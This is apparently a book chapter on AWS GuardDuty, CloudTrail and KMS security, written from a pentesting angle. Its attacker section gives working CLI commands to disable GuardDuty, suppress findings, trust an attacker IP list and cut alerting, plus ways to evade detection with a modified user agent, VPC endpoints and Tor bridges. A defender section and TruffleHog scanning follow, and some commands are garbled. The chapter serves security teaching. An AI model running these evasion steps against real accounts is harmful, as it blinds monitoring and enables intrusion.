Guard Duty, Cloud Trail and KMS vulnerabilities of AWS API’s (Chapter 3)

Introduction

Guard Duty, Cloud Trail, and KMS vulnerabilities of AWS API’s is a comprehensive guide that focuses on the security risks associated with the AWS Application Programming Interfaces (APIs) of Guard Duty, Cloud Trail, and Key Management Service (KMS). The chapter starts by providing an overview of these services and their importance in securing an AWS environment. The chapter then proceeds to explain the potential vulnerabilities in these services’ APIs and the impact they could have on security. It covers different types of attacks, including data leakage and unauthorized access, and how they can be exploited through these APIs. Readers will learn about various tools and techniques used to identify and mitigate these vulnerabilities, such as anomaly detection, monitoring, and encryption. Additionally, the chapter provides practical examples of common mis-configurations and weaknesses in the Guard Duty, Cloud Trail, and KMS APIs. It also offers guidance on how to configure these services securely and best practices to follow to minimize the risks of exposing sensitive data. By reading this chapter, readers will gain an understanding of the potential risks associated with Guard Duty, Cloud Trail, and KMS APIs and learn how to secure their AWS environment effectively.

Structure

The chapter covers the following topics:

  • Overview of Guard Duty, Cloud Trail, and Key Management Service (KMS) APIs and their importance in securing an AWS environment.
  • Explanation of potential vulnerabilities in these APIs and their impact on security.
  • Looking at root causes of common AWS defender and developer mistakes that enable credential exposure, data leakage attacks, and unauthorized access that can be exploited through these APIs.
  • Tools and techniques attackers use to find AWS account and credential data leakage and how to mitigate these vulnerabilities by validating monitoring configuration management, anomaly detection, and encryption.
  • Guidance on configuring these services securely and best practices to follow to minimize the risks of exposing sensitive data.

Objectives

Readers will gain an understanding of GuardDuty, CloudTrail, and KMS APIs and their crucial role in bolstering the security of an AWS environment. They will learn how GuardDuty provides intelligent threat detection, how CloudTrail offers comprehensive auditing and monitoring capabilities, and how KMS API enables secure key management for encryption. Readers will grasp the significance of these services in enhancing the overall security posture.

Next the reader will learn real world examples of misconfigurations and inherent vulnerabilities within GuardDuty, CloudTrail, and KMS APIs and their impact on security from a pentesting perspective. They will gain insights into the risks of unauthorized access, data leakage, and compromise of encryption keys. By understanding these attack techniques, readers will be better equipped to identify and prevent potential security breaches.

Readers will discover a range of tools and techniques which includes leveraging anomaly detection mechanisms to identify suspicious activities, implementing comprehensive monitoring solutions, and utilizing encryption for securing sensitive data and encryption keys. Then we will learn about essential best practices to minimize the risks of exposing sensitive data, such as properly configuring access controls, implementing strong encryption measures, and establishing effective logging and alerting mechanisms.

In this chapter, we will explore the critical components of securing an AWS environment, focusing on services like CloudTrail, Lambda, Key Management Service (KMS) and GuardDuty and associated Application Programming Interfaces APIs. These services play a vital role in detecting and preventing potential security breaches, monitoring activities, and safeguarding sensitive data. By understanding their functionalities and leveraging their capabilities effectively, organizations can bolster their overall security posture within the AWS infrastructure.

Critical Components of Securing AWS:

Figure 1.1: CloudTrail

CloudTrail provides comprehensive auditing and monitoring capabilities within AWS. It records and logs API activity, delivering a detailed history of user actions, resource changes, and API calls made within the AWS account. This visibility into account activity helps with security analysis, resource tracking, and troubleshooting. By leveraging CloudTrail logs, organizations can identify security issues, investigate incidents, and ensure compliance with regulatory requirements.

Figure 1.2: AWS Lambda

Lambda is a serverless computing service allowing users to run code without having to manage servers. It runs code responding to events, automatically scaling up and down to match incoming traffic. Lambda functions can be integrated with other AWS services, making it an essential service in building serverless architectures.

Figure 1.3: AWS Identity and Access Management

IAM (Identity and Access Management) is a service that allows users to manage access to AWS resources securely. It provides access control to users and groups, allowing administrators to control permissions and restrict access to resources. This service is essential in maintaining security and compliance.

Figure 1.4: Key Management Service

Key Management Service (KMS) APIs: The Key Management Service (KMS) is a fully managed encryption service offered by AWS. It allows users to create, manage, and control the encryption keys used to encrypt their data. The KMS APIs enable secure integration of encryption functionality within AWS services and applications. By utilizing KMS, organizations can encrypt sensitive data, protect it from unauthorized access, and maintain control over their encryption keys.

GuardDuty is AWS’s security monitoring service that analyzes VPC Flow Logs, CloudTrail management event logs, Cloudtrail S3 event logs and DNS logs. Typically, it’s the lowest bar for monitoring in an AWS environment, but can and does trip up attackers, pentesters and red teams. For each GuardDuty finding, there are careful considerations one should take to avoid triggering the alert when working from common penetration testing OS’s GuardDuty will detect this and trigger a finding. This is caused by the user agent name that is passed in the API request. By modifying this user agent string we can prevent GuardDuty from detecting that we are operating from a “pentest” Linux distribution.

In the pursuit of avoiding detection as an attacker we need an understanding of a Guard Duty finding in particular that goes by the name “PenTest:IAMUser/KaliLinux An API was invoked from a Kali Linux EC2 machine”. This PenTest Finding.indicates that an AWS Identity and Access Management (IAM) user performed an API (Application Programming Interface) call from an EC2 instance running Kali Linux. Kali Linux is the most common and popular penetration testing operating system used by ethical and unethical hackers alike to assess the security of systems. This finding suggests that someone with IAM user credentials, possibly a security practitioner performing a penetration test, executed an API call from an EC2 instance running Kali Linux.

Figure 1.6: AWS Guard Duty Alert of Kali Linux

Source : https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux

When GuardDuty detects such a finding, it generates an alert, which can be integrated with AWS CloudWatch Events, AWS Lambda, or other AWS services to automate responses, such as sending notifications or invoking automated remediation actions. Security teams can then investigate the alert to determine whether the activity is expected and authorized or requires further investigation as a potential security incident.

  • Data source: CloudTrail management event
Figure 1.7: AWS Guard Duty Alert of Kali Linux

Source : https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux

If the following steps prove to be difficult or time consuming and your assessment requires that you remain undetected it’s probably easier to leverage a “safe” OS like Ubuntu, Mac OS, or Windows. Preferably we want to continue using Kali Linux and we just need to make two lines of code adjustments locally within our local “botocore” package on our Kali attack system with the AWS CLI pre-installed. Botocore is a low-level interface to a growing number of Amazon Web Services. Botocore serves as the foundation for the AWS-CLI command line utilities. The botocore package is compatible with Python versions Python 3.7 and higher.

To do this, identify the location of your session.py in the botocore package. For example, on a default Kali Linux install it can be found at the local directory and file location below:

/usr/local/lib/python3.7/dist-packages/botocore/session.py

On line 456 (at the time of writing), you should see the following:

Figure 1.8: AWS Kali Botocore Edit Source Code:

platform.system() and platform.release() are similar to uname -o and uname -r. On a stock Kali install it will generate the following values.

Figure 1.9: AWS Kali Botocore Edit Source Code:

To get around this, modify the code and replace it with legitimate user agent strings like those found in Pacu. With this capability you can mask your user agent to look like anything you want. Even arbitrary values like below.

Figure 1.10: AWS Kali Botocore Edit Source Code:

Now that we’ve stopped broadcasting to the world we use kali linux to run scans, make connections, and exfiltrate data we can move onto common misconfigurations and weaknesses that can potentially leave our AWS environment vulnerable. To address these gaps we are going to explore examples of common monitoring misconfigurations in Guard Duty along with the tools and techniques attackers use to avoid detection and discover AWS credential data leakage.

AWS KMS and other credentials are often harvested from 3rd party public repositories like GitHub and etc. where an attacker launches an automated repository scanning tool to scour through publicly available repos that may contain sensitive information. Developers and other engineers have a reputation for accidentally or intentionally committing credentials into their repository source code. At the end of this offensive section we’ll install and use one such repo scanning tool called TruffleHog with code usage examples. TruffleHog is used to discover AWS keys, account credentials, and sensitive login info anyone can find online by simply referencing the victim domain.

In the interest of expediting the exploitation of aforementioned vulnerabilities in the Guard Duty API’s we’ll start our 4 step attack path with the assumption that credentials to the customer environment were discovered by our scouring of GitHub for accidentally saved or committed credentials, providing the attacker an initial foothold.

Listed are the 4 steps an attacker would take next after discovery of account compromise.

  1. Initial Compromise:

In this scenario, we assume that an attacker has gained unauthorized access to an AWS account through various OSINT means mentioned above or through exploiting external web vulnerabilities, weak credential brute forcing, or social engineering techniques.

2. Reconnaissance:

Once the attacker has access to the AWS account, they will likely perform reconnaissance to gather information about the account’s resources and services. This could involve enumerating AWS Identity and Access Management (IAM) roles, checking security groups, and identifying the presence of GuardDuty.

3. Understanding GuardDuty’s Configurations:

To effectively modify GuardDuty without raising suspicion, the attacker needs to understand its existing configurations. This includes knowing which accounts are being monitored, the types of detections enabled, and any specific alerting thresholds or filters in place.

4. Reducing Alert Visibility:

An easy, crude, and alarming option is to outright disable the entire GuardDuty service, which might raise immediate suspicion, the attacker may choose to disable or modify key attributes of the service to reduce the likelihood of triggering alerts. For example, they could increase alert thresholds or disable certain detection capabilities that are more likely to flag their actions.

As an administrator with [guardduty:ListDetectors], [guardduty:UpdateDetector] rights, you can disable S3 and Kubernetes (K8S) as data sources removing S3 protection and Kubernetes alerts. If you disable S3 and Kubernetes protection GuardDuty immediately stops consuming these as data sources thereby ending all monitoring access for data stored in S3 buckets & K8S containers.

With these same rights we can turn off Malware Protection for victim EBS volumes and we can tune down the frequency of all security finding related notifications. Possible values are 15 minutes, 1 hour, or the default 6 hours. For information about setting the frequency for these notifications, see Setting the frequency for exporting updated active findings. Accessing and Modifying GuardDuty Settings:

Once the attacker has the required privileges, they can access the GuardDuty settings either through the AWS Management Console or by using AWS Command Line Interface (CLI) API calls. The AWS Command Line Interface (AWS CLI) is a unified tool to manage your AWS services. With just one tool to download and configure, you can control multiple AWS services from the command line and automate them through scripts. The AWS CLI v2 offers several new features including improved installers, new configuration options such as AWS IAM Identity Center (successor to AWS SSO), and various interactive features.

Here’s a step-by-step guide on how to launch and authenticate to the AWS Command Line Interface (CLI) using user credentials. We’ll cover the process of setting up AWS CLI and authenticating with AWS Access Key ID and Secret Access Key. I’ll provide picture examples to make it easier to follow along.

Step 1: Install AWS CLI on Windows, MacOS, and Linux

If you haven’t installed AWS CLI on your computer, you can download and install it from the official AWS CLI page: https://aws.amazon.com/cli/

Figure 1.11: AWS CLI Install Source

Source : https://aws.amazon.com/cli/

Let’s walk through the process of installing the AWS CLI on Kali Linux with code examples,

Step 1.1: Open Terminal

Open the Terminal in Kali Linux. You can do this by clicking on the “Terminal” icon in the taskbar or by pressing the Ctrl+Alt+T shortcut.

Step 1.2: Install AWS CLI using Package Manager

In Kali Linux, you can install the AWS CLI using the package manager, which is apt for Kali. Run the following command to update the package lists and ensure you have the latest version of packages:

sudo apt update

Step 1.3: Install AWS CLI Package

Now, install the AWS CLI package using the apt package manager. Execute the following command:

sudo apt install awscli

Step 1.4: Confirm Installation

After the installation completes, you can verify the AWS CLI version to ensure it was installed correctly. Use the following command:

aws --version

If everything is installed correctly, you’ll see the AWS CLI version information in the output.

Example:

aws-cli/1.20.61 Python/3.9.2 Linux/5.10.0-kali8-amd64 botocore/1.21.61

Step 2: Configure AWS CLI

Once you have AWS CLI installed, you need to configure it with your AWS credentials. Open your terminal or command prompt and run the following command:

aws configure

Step 3: Enter AWS Credentials

You will be prompted to enter your AWS Access Key ID, Secret Access Key, default region, and default output format.

AWS Access Key ID [None]: YOUR_ACCESS_KEY_ID
AWS Secret Access Key [None]: YOUR_SECRET_ACCESS_KEY
Default region name [None]: YOUR_DEFAULT_REGION
Default output format [None]: json

Example:

Replace YOUR_ACCESS_KEY_ID, YOUR_SECRET_ACCESS_KEY, and YOUR_DEFAULT_REGION with your actual AWS credentials and desired default region.

Step 4: Authentication Successful

Once you’ve entered the correct credentials, you’ll receive a message indicating that the authentication was successful:

Success! Your AWS CLI is now configured.

Step 5: Verify Configuration

You can verify your configuration by running the following command:

aws sts get-caller-identity

This command will display information about the IAM user associated with the configured credentials.

{
"UserId": "ABCDEFGHIJKL",
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/my-iam-user"
}

Step 6: Test AWS CLI

You can now start using AWS CLI to interact with AWS services. For example, you can list your S3 buckets with the following command:

aws s3 ls

Congratulations! You have successfully launched and authenticated to the AWS CLI using your user credentials.

Please note that the AWS CLI configuration is per-user, meaning you can set up different configurations for different IAM users on the same machine. The configuration data is stored in separate profiles in the ~/.aws/credentials file. You can switch between profiles using the — profile option with AWS CLI commands.

Keep your AWS credentials secure and avoid sharing them. Always follow best practices for securing your AWS environment and resources.

With access to the GuardDuty settings, the attacker can start modifying key attributes, such as changing the alert thresholds, disabling certain detections, or modifying email notification settings. Five separate offensive tasks malicious in nature utilizing the aws cli to circumvent GuardDuty monitoring are listed below. There are a few more offensive concealment tasks at our disposal we will mention later.

For the Attackers:

Circumvent GuardDuty Monitoring
#1. Disabling the detector
aws guardduty update-detector \
--detector-id 7ac4b3017d143e8d4e10b80f455dfd6a \
--no-enable


#2. Removing s3 as a log source
aws guardduty update-detector \
--detector-id 7ac4b3017d143e8d4e10b80f455dfd6a \
--data-sources S3Logs={Enable=false}


#3. Removing Kubernetes as a log source
aws guardduty update-detector \
--detector-id 7ac4b3017d143e8d4e10b80f455dfd6a \
--data-sources Kubernetes={AuditLogs={Enable=false}


#4. Increase finding update time to 6 hours
aws guardduty update-detector \
--detector-id 7ac4b3017d143e8d4e10b80f455dfd6a \
--finding-publishing-frequency 6_HOURS


#5. Disable Malware Protection for EBS Volumes
aws guardduty update-detector \
--detector-id 7ac4b3017d143e8d4e10b80f455dfd6a \
--data-sources MalwareProtection={ScanEc2InstanceWithFindings={EbsVolumes=false}}

Suppression Rules

Newly created GuardDuty findings can be automatically archived via Suppression Rules. An adversary could use filters to automatically archive findings they are likely to generate.

Required permissions to execute:

  • guardduty:CreateFilter
Example CLI commands

Example CLI commands

--action ARCHIVE --detector-id 7ac4b3017d143e8d4e10b80f455dfd6a --name yourfiltername --finding-criteria file://criteria.json

Filters can be created using the CreateFilter API.

Modifying Trusted IP Lists

With the following permissions an attacker could create or update GuardDuty’s Trusted IP list, thus introducing their own IP address on the list. Any IPs in a trusted IP list will not raise any Cloudtrail or VPC flow log alerts against them.

DNS related findings are exempt from the Trusted IP list.

Required permissions to execute:

  • guardduty:ListDetectors
  • guardduty:ListIPSet
  • iam:PutRolePolicy
  • guardduty:CreateIPSet (To create new list)
  • guardduty:UpdateIPSet (To update an existing list)

Depending on the level of stealth required, the file can be uploaded to an s3 bucket in the target account, or an account controlled by the attacker.

Example CLI commands
aws guardduty update-ip-set \
--detector-id 7ac4b3017d143e8d4e10b80f455dfd6a \
--ip-set-id 24adjigdk34290840348exampleiplist \
--location https://malicious-bucket.s3-us-east-1.amazonaws.com/customiplist.csv \
--activate

Modify Cloudwatch events rule

GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence. Modifying the Event pattern or Targets for an event may reduce GuardDuty’s ability to alert and trigger auto-remediation of findings, especially where the remediation is triggered in a member account as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account.

Note: In a delegated or invitational admin GuardDuty architecture, cloudwatch events will still be created in the admin account.

Required permissions to execute:

  • event:ListRules
  • event:ListTargetsByRule
  • event:PutRule
  • event:RemoveTargets
Example CLI commands
# Disable GuardDuty Cloudwatch Event
aws events put-rule --name guardduty-event \
--event-pattern "{\"source\":[\"aws.guardduty\"]}" \ --state DISABLED


# Modify Event Pattern
aws events put-rule --name guardduty-event \
--event-pattern '{"source": ["aws.makesurethisdoesnotexist"]}'


# Remove Event Targets
aws events remove-targets --name guardduty-event \ --ids "GuardDutyTarget"
  • # Remove Event Targets
aws events remove-targets - name guardduty-event \ -ids "GuardDutyTarget"

Delete Publishing Destination

An adversary could disable alerting simply by deleting the destination of alerts.

Required permissions to execute:

guardduty:DeletePublishingDestination

Example CLI commands
aws guardduty delete-publishing-destination - detector-id abc123 - destination-id def456

Evade GuardDuty with Sneaky VPC Endpoints

When attacking AWS environments, you may encounter opportunities to acquire IAM credentials from an EC2 instance by leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the instance metadata service of a target EC2 instance. Guard would typically send an [InstanceCredentialExfiltration] alert if these credentials were used outside of the original host.

Previously a common evasion tactic was to utilize these stolen credentials from a separate EC2 instance within the same AWS environment capitalizing on GuardDuty’s visibility and alerting limitation of credential usage outside of the victim EC2.

On January 20th, 2022, AWS introduced an enhanced GuardDuty finding to address this evasion technique, effectively detecting unauthorized IAM credential usage on a different EC2 instance within the AWS environment.

Nick Frichette, a security researcher later discovered that this detection mechanism did not apply to VPC Endpoints. As a result, a new evasion approach emerged, enabling threat actors to use VPC Endpoints as a means to leverage stolen credentials without triggering the GuardDuty finding. VPC endpoint allows you to privately connect your VPC to supported AWS services. It doesn’t require you to deploy an internet gateway, network address translation (NAT) device, Virtual Private Network (VPN) connection, or AWS Direct Connect connection. Endpoints are virtual devices that are horizontally scaled, redundant, and highly available VPC components. VPC endpoints allow communication between instances in your VPC and services, without imposing availability risks or bandwidth constraints on your network traffic.

Figure 2.0: VPC Endpoints Overview

Source : https://aws.amazon.com/blogs/architecture/reduce-cost-and-increase-security-with-amazon-vpc-endpoints/

To facilitate this evasion technique, the project called SneakyEndpoints provides Terraform configurations for setting up an environment quickly, emphasizing the significance of securing VPC Endpoints to prevent unauthorized access and misuse of IAM credentials.

Figure 2.1: Terraform Infrastructure as code overview

Source : https://developer.hashicorp.com/terraform/tutorials

This repo of the Sneaky Endpoints project has all the Terraform configurations necessary to spin up an environment to attack from. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don’t accidentally expose ourselves and trigger the alert.

Note: There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.

Next, we’ll learn how to get one step ahead of the bad guys by proactively mitigating these vulnerabilities by credential scouring, validating monitoring configuration management paired with anomaly detection, and encryption enforcement.

In the interest of both defenders and external pentesters we’ll start proactively credential scouring GitHub assuming a developer or engineer from our company accidentally committed sensitive info providing a foothold.

For the Defenders:

To address concealment activities from the previous attacker who issued the above commands to achieve inconspicuousness we need to perform steps one through five on the previous page in an inverse fashion. We would simply exchange the boolean values of “false” to true and the value of “ — no-enable” to “ — enable” while adjusting the “finding-publishing-frequency” to the most astute setting of 15 minutes. However if we are extremely unlucky the attacker could delete all configuration settings for guard duty leaving us in a state of starting from scratch.

If we had an attacker or a system administrator who wanted to delete all Guard Doty configurations across all regions the script example could do that for us although it is not recommended to run this against the customers environment unless explicitly allowed to do so.

https://gist.github.com/tomofuminijo/ac321d7b6423bab7f175c8795546bd9a

https://gist.githubusercontent.com/tomofuminijo/ac321d7b6423bab7f175c8795546bd9a/raw/9ff46f6577c8b6ceaa643d6b12195bfd333e5dfc/guardduty-disabled-all-region.sh

To remedy the total lack of Guard Duty configuration and setup from our cloud infrastructure team we need to approach the issue from a design perspective after a recent cloud transition.

Figure 2.2: Amazon Guard Duty — Continuous Security Monitoring & Threat Detection

Source : https://aws.amazon.com/blogs/aws/amazon-guardduty-continuous-security-monitoring-threat-detection/

Starting from scratch we will start our configuration of Guard Duty with creating a related Lambda function that will handle the update process followed by setting up a new Identity and Access Management or (IAM) role with permissions for the Lambda function. Lastly we’ll finish up with attaching the IAM role to our new Lambda Function.

Step 1. Create an AWS Lambda Function in a language supported by Lambda, such as Python. Here’s a sample Python code:

First, create an AWS Lambda function that will handle the update process. Here is an example:

import boto3


def lambda_handler(event, context):
guardduty_client = boto3.client('guardduty')

# Fetch the latest threat intelligence feed
# Update the relevant GuardDuty threat intel sets
# Implement your code logic here


return {
'statusCode': 200,
'body': 'Threat intelligence feed update completed'
}

Step 2.0: Set Up IAM Role for Lambda:

Ensure that the new Lambda function has the necessary permissions to access GuardDuty and update the threat intel sets. Create an IAM role with the required permissions, such as [GuardDutyFullAccess], and attach it to the Lambda function.

2.1.1: Create an IAM Policy for GuardDuty Access

2.1.2 Open the AWS Management Console and navigate to the IAM service.

2.1.3 Click on “Policies” in the left-hand navigation pane.

2.1.4 Click the “Create policy” button.

2.1.5 Select the “JSON” tab and paste the following policy document to grant GuardDuty access:


{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "guardduty:*",
"Resource": "*"
}
]
}

2.1.6 Click “Review policy.”

2.1.7 Provide a unique name for the policy, such as “GuardDutyFullAccess,” and add a description if desired.

2.1.8 Click “Create policy” to create the policy.

Step 2.2: Create an IAM Role for the Lambda Function

2.2.1 In the IAM console, click on “Roles” in the left-hand navigation pane.

2.2.2 Click the “Create role” button.

2.2.3 For the type of trusted entity, choose “AWS service” and select “Lambda” as the service that will use this role.

2.2.4 Click “Next: Permissions.”

2.2.5 Search for and select the “GuardDutyFullAccess” policy created in Step 1.

2.2.6 Click “Next: Tags” (you can add tags if needed) and then “Next: Review.”

2.2.7 Provide a unique name for the role, such as “LambdaGuardDutyRole,” and add a description if desired.

2.2.8 Click “Create role” to create the role.

Step 2.3: Attach the IAM Role to the Lambda Function

2.3.1 In the Lambda console, navigate to the function you want to give GuardDuty access to.

2.3.2 Click on the “Permissions” tab.

2.3.3 Under “Execution role,” click “Edit.”

2.3.4 Choose “Use an existing role.”

2.3.5 From the “Existing role” dropdown, select the “LambdaGuardDutyRole” created in Step 2.

2.3.6 Click “Save” to attach the role to the Lambda function.

Note: The IAM policy shown above grants broad permissions to GuardDuty (guardduty:*). In a production environment, it’s recommended to define more restrictive permissions based on the specific actions your Lambda function needs to perform.

Now that our new Lambda function has the necessary permissions to access GuardDuty and update the threat intel sets we need to point this Lambda function to misconfigurations in Guard Duty that expose our environment to unseen threats. First, Misconfigured data sources, followed by inadequate threat update frequency:

Misconfigured Data Sources: GuardDuty relies on various data sources, such as VPC Flow Logs, CloudTrail logs, and DNS logs, to detect suspicious activities. One common misconfiguration is disablement of these data sources or not properly configuring them to feed into GuardDuty. This will lead to a lack of visibility and decreased effectiveness in detecting threats.

Inadequate Threat Intel Updates: GuardDuty leverages threat intelligence feeds to identify potential threats. Failing to regularly update these feeds can result in outdated threat information and missed detection opportunities. It’s crucial to schedule regular updates for GuardDuty’s threat intelligence.

To address this, ensure that all relevant data sources are enabled and properly configured in your AWS account. For example, you can enable VPC Flow Logs by using the AWS Command Line Interface (CLI) with the following code snippet:

enable VPC Flow Logs
aws ec2 create-flow-logs --resource-type VPC --resource-ids <vpc-id> -- traffic-type ALL --log-group-name <log-group-name>
  1. Create a CloudWatch Events Rule:

Next, create a CloudWatch Events rule that will trigger the Lambda function on a scheduled basis. Use the AWS CLI to create the rule. Here’s an example command:

(This command sets up the rule to trigger the Lambda function once every day.)
aws events put-rule --name "GuardDutyFeedUpdate" --schedule-expression "rate(1 day)" --state "ENABLED"

2. Add Lambda Function to CloudWatch Events Rule:

aws events put-targets --rule "GuardDutyFeedUpdate" --targets "Id"="1","Arn"="arn:aws:lambda:<region>:<account-id>:function:<lambda-function-name>"

Here’s an example of how you can automate the threat intelligence feed update process using AWS Lambda and CloudWatch Events: In this example, the rule is named “ThreatIntelFeedUpdate,” and the schedule expression “cron(0 1 * * ? *)” specifies that the rule should run every day at 1:00 AM UTC.

aws events put-rule --name "ThreatIntelFeedUpdate" --schedule-expression "cron(0 1 * * ? *)" --state "ENABLED"

After creating the rule, you can add the Lambda function as a target to the rule using the following AWS CLI command:

aws events put-targets --rule "ThreatIntelFeedUpdate" --targets "Id"="1","Arn"="arn:aws:lambda:<region>:<account-id>:function:<lambda-function-name>"

UnauthorizedAccess:EC2/TorClient is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor Guard or Authority nodes. According to the documentation, “this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker’s true identity”.

AWS determines this by comparing connections to the public list of Tor nodes. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.

From a technical perspective the Tor Project has largely gotten around this by using Bridges. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.

To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is apt install tor obfs4proxy and move them to your target). Obfs4 is a Pluggable Transport which modifies Tor traffic to communicate with a bridge. Navigate to bridges.torproject.org to get a bridge address.

From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):

UseBridges 1
Bridge obfs4 *ip address*:*port* *fingerprint* cert=*cert string* iat-mode=0
ClientTransportPlugin obfs4 exec /bin/obfs4proxy

You will now be able to connect to the Tor network with tor -f torrc and you can connect to the Socks5 proxy on port 9050 (by default).

BSidesSF 2018 — Fighting Secrets In Source Code With TruffleHog

Secrets in source code have led to breaches in the past. They make it really easy to move laterally and escalate privileges once inside an environment, and it’s a problem the entire industry faces. I’m going to talk about the tool to help identify secrets: TruffleHog. I’ll be talking about different ways to use the tool, how it can be used in devops pipelines, and the future of the tool going forward. I’ll also talk about a new type of problem I don’t think anyone has looked at before: Secrets in old packages. I’ve tweaked truffleHog to scan package managers like npm and pypi, and found tons of secrets accidentally uploaded to the package manager that weren’t ever even in the git history. I’ll be releasing the tweaked version of truffleHog and walk through how to use it, and why we need to pay more attention to this problem.

Step 1: Install TruffleHog

To get started, ensure you have Python installed on your system. Then, you can install TruffleHog using the following options based on your OS.

# PIP install
pip install trufflehog


# MacOS users
brew install trufflesecurity/trufflehog/trufflehog


# Docker
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys


# Docker for M1 and M2 Mac
docker run --platform linux/arm64 --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys


# Binary releases
Download and unpack from https://github.com/trufflesecurity/trufflehog/releases


# Compile from source
git clone https://github.com/trufflesecurity/trufflehog.git
cd trufflehog; go install

Scan a repo for only verified secrets

Command:

trufflehog git https://github.com/trufflesecurity/test_keys --only-verified
Figure 2.3: TruffleHog Expected Output

Source : https://github.com/trufflesecurity/trufflehog

By default, TruffleHog will scan the repository for high-entropy strings, such as API keys, passwords, and other sensitive information. It will display the findings in your terminal.

Custom Options:

You can also specify additional options, such as excluding certain files or paths from the scan:

trufflehog --exclude "file1.ext,file2.ext" --exclude_paths "path/to/exclude"

This will help you fine-tune the scanning process according to your requirements. Please note that the actual output of TruffleHog will vary depending on the repository you are scanning and the presence of sensitive data. It’s crucial to review and address any findings appropriately to enhance the security of your codebase.

Conclusion: In this chapter, we explored the fundamental aspects of GuardDuty, CloudTrail, and the Key Management Service (KMS) APIs in enhancing security within an AWS environment. These services provide critical capabilities to detect threats, monitor activities, and ensure data encryption. By incorporating GuardDuty, CloudTrail, and leveraging the KMS APIs effectively, organizations can fortify their AWS security posture, mitigate risks, and safeguard their valuable assets.

--

--